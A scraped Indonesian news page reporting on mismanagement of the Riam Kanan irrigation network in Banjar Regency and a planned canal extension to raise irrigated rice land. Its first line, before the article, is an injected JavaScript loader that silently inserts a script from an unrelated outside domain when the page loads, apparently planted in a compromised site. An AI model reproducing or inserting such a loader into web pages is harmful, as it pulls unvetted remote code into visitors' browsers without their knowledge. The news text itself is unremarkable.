(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Di Balik Belum Maksimalnya Pengelolaan Irigasi Riam Kanan (3-Habis)


Di tengah masih karut marutnya pengelolaan Daerah Irigasi (DI) Riam Kanan, Kementerian Pekerjaan Umum dan Perumahan Rakyat melalui Ditjen Sumber Daya Air merencanakan pembagunan lanjutan saluran primer yang saat ini terhenti di Desa Cindai Alus, Martapura.

“Tahun ini sedang tahap penyusunan Anasis Dampak Lingkungan (Amdal) jadi belum dapat diketahui berapa panjan saluran yang akan dibangun. Tapi terkait rencana tersebut silakan konfirmasi ke pihak BWS Wilayah II sebagai yang berwenang,” kata Hery Ade Permana, Kepala Satker Tugas Pembantuan Operasi Pemeliharaan (TPOP) DI Riam Kanan.

Namun sedikit disampaikan Hery, saluran irigasi primer yang akan dibangun akan menyambung saluran yang saat ini hanya sampai di Desa Cindai Alus, Kecamatan Martapura.

“Dari Desa Cindai Alus, pembangunan saluran irigasi baru nantinya akan dapat mengairi sawah hingga di Kecamatan Aluh-Aluh,” kata Hery.

Dengan begitu, lanjutnya, luasan lahan yang dapat terairi saluran irigasi dapat bertambah hingga 10 ribu hektare. Menurut saat ini, luasan lahan persawahan yang terairi saluran irigasi hanya di angka 6 ribu hektare.

Diakuinya pula, luasan sawah yang terairi saluran irigasi saat ini masih jauh di bawah target dibangunnya DI Riam Kanan di awal pembangunan puluhan tahun silam. Karena dari 24 KM saluran primer DI Riam Kanan mestinya dapat mengairi hingga 25.900 hektare sawah.

Belum optimalnya pengelolaan saluran DI Riam Kanan, termasuk didalamnya penggunaan air untuk sektor perikanan yang justru lebih diuntungkan, menurut Hery menjadi salah satu penyebab target luasan lahan persawahan yang harusnya terairi.

Kendati diakuinya, penggunaan air untuk sektor di luar pertanian, diharamkan.

“Kecuali PDAM Intan Banjar yang memang memiliki MoU dengan kementerian untuk memanfaatkan air dari saluran irigasi sebanyak 200 liter per detik,” kata Hery.

Untuk itu, lanjutnya, sejumlah instansi terkait perlu duduk bersama mencari solusi mengatasi karut marut pengelolaan saluran irigasi ini.

“Kalaupun atas pertimbangan berdampak baik bagi ekonomi masyarakat dari sektor perikanan, tapi tentunya tetap harus dikelola dengan baik, termasuk pengelolaan saluran buangan air kolam agar tak merendam lahan persawahan,” Pungkas Hery.(rudiyanto)


Desy Arfianty

Recent Posts

DJBC Kalbagsel Lepas Ekspor 2.016 Kg Belut Hidup Kalsel ke Tiongkok

KANALKALIMANTAN.COM, BANJARMASIN - Ribuan belut sawah hidup dari wilayah Kalimantan Selatan (Kalsel) dikirim ke negara… Read More

25 menit ago

Optimalkan Pengelolaan Website, Ini yang dilakukan Diskominfosandi HSU

KANALKALIMANTAN.COM, AMUNTAI - Dinas Komunikasi Informatika dan Persandian (Diskominfosandi) Hulu Sungai Utara (HSU) menggelar bimbingan… Read More

34 menit ago

Lima Rumah Hangus di Guntung Paikat, Diduga Kabel Listrik Sudah Tua

KANALKALIMANTAN.COM, BANJARBARU - Lima rumah terbakar di Jalan Delima Ujung RT 003 RW 001 Kelurahan… Read More

1 jam ago

750 Formasi CPNS dan PPPK 2024 Pemkab Balangan, Seleksi Berjalan Sesuai Jadwal

KANALKALIMANTAN.COM, PARINGIN - Pemerintah Kabupaten Balangan telah menerima persetujuan 750 formasi tahun 2024 untuk pengadaan… Read More

5 jam ago

Hari Bela Negara 19 Desember, Ini Sejarahnya

KANALKALIMANTAN.COM - Setiap tanggal 19 Desember diperingati sebagai Hari Bela Negara di Indonesia. Momen ini… Read More

6 jam ago

Puncak Libur Nataru di Bandara Syamsudin Noor Diprediksi 22-23 Desember, Weekend Mencapai 5.700 Penumpang

KANALKALIMANTAN.COM, BANJARBARU - Jumlah penumpang yang menjajaki area terminal keberangkatan Bandara Syamsudin Noor mulai meningkat… Read More

21 jam ago

This website uses cookies.